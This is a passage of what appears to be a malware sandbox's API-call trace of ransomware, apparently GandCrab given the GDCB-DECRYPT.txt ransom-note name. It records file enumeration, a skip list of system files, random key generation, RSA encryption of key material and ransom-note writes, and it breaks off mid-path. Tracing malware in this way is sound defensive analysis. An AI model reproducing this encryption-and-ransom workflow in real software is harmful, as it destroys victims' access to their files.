hTemplateFile=0x0) returned 0xffffffff [0172.078] GetLastError () returned 0x3 [0172.078] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\alertIcon.png") returned 270 [0172.078] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\alertIcon.png") returned 270 [0172.078] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\alertIcon.png") returned 270 [0172.078] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\alertIcon.png") returned 270 [0172.078] lstrcmpiW (lpString1="alertIcon.png", lpString2="desktop.ini") returned -1 [0172.078] lstrcmpiW (lpString1="alertIcon.png", lpString2="autorun.inf") returned -1 [0172.078] lstrcmpiW (lpString1="alertIcon.png", lpString2="ntuser.dat") returned -1 [0172.078] lstrcmpiW (lpString1="alertIcon.png", lpString2="iconcache.db") returned -1 [0172.078] lstrcmpiW (lpString1="alertIcon.png", lpString2="bootsect.bak") returned -1 [0172.078] lstrcmpiW (lpString1="alertIcon.png", lpString2="boot.ini") returned -1 [0172.078] lstrcmpiW (lpString1="alertIcon.png", lpString2="ntuser.dat.log") returned -1 [0172.078] lstrcmpiW (lpString1="alertIcon.png", lpString2="thumbs.db") returned -1 [0172.078] lstrcmpiW (lpString1="alertIcon.png", lpString2="GDCB-DECRYPT.txt") returned -1 [0172.078] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\alertIcon.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\alerticon.png")) returned 0xffffffff [0172.079] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\alertIcon.png", dwFileAttributes=0xfffffffe) returned 0 [0172.079] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0172.079] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.080] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.080] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.080] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.080] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0172.081] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.081] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.081] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.081] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.081] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0172.084] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6365d8) returned 1 [0172.084] CryptGetKeyParam (in: hKey=0x6365d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.084] CryptEncrypt (in: hKey=0x6365d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3130000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3130000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.085] GetLastError () returned 0x0 [0172.085] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.085] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0172.087] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636b58) returned 1 [0172.087] CryptGetKeyParam (in: hKey=0x636b58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.087] CryptEncrypt (in: hKey=0x636b58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3140000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3140000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.087] GetLastError () returned 0x0 [0172.087] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.087] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\alertIcon.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\alerticon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.087] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.087] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.088] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.088] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.088] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\am-et\\\\GDCB-DECRYPT.txt") returned 280 [0172.088] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\am-et\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\am-et\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.088] GetLastError () returned 0x3 [0172.088] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.088] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.088] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.088] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.088] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\amd64\\\\GDCB-DECRYPT.txt") returned 280 [0172.088] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\amd64\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\amd64\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.088] GetLastError () returned 0x3 [0172.088] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-console-l1-1-0.dll") returned 291 [0172.088] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-console-l1-1-0.dll") returned 291 [0172.088] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-datetime-l1-1-0.dll") returned 292 [0172.088] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-datetime-l1-1-0.dll") returned 292 [0172.088] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-debug-l1-1-0.dll") returned 289 [0172.088] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-debug-l1-1-0.dll") returned 289 [0172.088] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-errorhandling-l1-1-0.dll") returned 297 [0172.088] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-errorhandling-l1-1-0.dll") returned 297 [0172.089] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-file-l1-1-0.dll") returned 288 [0172.089] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-file-l1-1-0.dll") returned 288 [0172.089] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-file-l1-2-0.dll") returned 288 [0172.089] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-file-l1-2-0.dll") returned 288 [0172.089] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-file-l2-1-0.dll") returned 288 [0172.089] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-file-l2-1-0.dll") returned 288 [0172.089] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-handle-l1-1-0.dll") returned 290 [0172.089] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-handle-l1-1-0.dll") returned 290 [0172.089] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-heap-l1-1-0.dll") returned 288 [0172.089] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-heap-l1-1-0.dll") returned 288 [0172.089] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-interlocked-l1-1-0.dll") returned 295 [0172.089] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-interlocked-l1-1-0.dll") returned 295 [0172.089] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-libraryloader-l1-1-0.dll") returned 297 [0172.089] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-libraryloader-l1-1-0.dll") returned 297 [0172.090] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-localization-l1-2-0.dll") returned 296 [0172.090] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-localization-l1-2-0.dll") returned 296 [0172.090] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-memory-l1-1-0.dll") returned 290 [0172.090] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-memory-l1-1-0.dll") returned 290 [0172.090] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-namedpipe-l1-1-0.dll") returned 293 [0172.090] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-namedpipe-l1-1-0.dll") returned 293 [0172.090] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-processenvironment-l1-1-0.dll") returned 302 [0172.090] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-processenvironment-l1-1-0.dll") returned 302 [0172.090] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-processthreads-l1-1-0.dll") returned 298 [0172.090] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-processthreads-l1-1-0.dll") returned 298 [0172.090] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-processthreads-l1-1-1.dll") returned 298 [0172.090] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-processthreads-l1-1-1.dll") returned 298 [0172.090] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-profile-l1-1-0.dll") returned 291 [0172.090] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-profile-l1-1-0.dll") returned 291 [0172.090] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-rtlsupport-l1-1-0.dll") returned 294 [0172.091] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-rtlsupport-l1-1-0.dll") returned 294 [0172.091] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-string-l1-1-0.dll") returned 290 [0172.091] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-string-l1-1-0.dll") returned 290 [0172.091] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-synch-l1-1-0.dll") returned 289 [0172.091] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-synch-l1-1-0.dll") returned 289 [0172.091] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-synch-l1-2-0.dll") returned 289 [0172.091] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-synch-l1-2-0.dll") returned 289 [0172.091] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-sysinfo-l1-1-0.dll") returned 291 [0172.091] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-sysinfo-l1-1-0.dll") returned 291 [0172.091] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-timezone-l1-1-0.dll") returned 292 [0172.091] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-timezone-l1-1-0.dll") returned 292 [0172.091] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-util-l1-1-0.dll") returned 288 [0172.091] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-core-util-l1-1-0.dll") returned 288 [0172.092] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-conio-l1-1-0.dll") returned 288 [0172.092] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-conio-l1-1-0.dll") returned 288 [0172.092] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-convert-l1-1-0.dll") returned 290 [0172.092] lstrlenW (lpString="C:\\Documents and 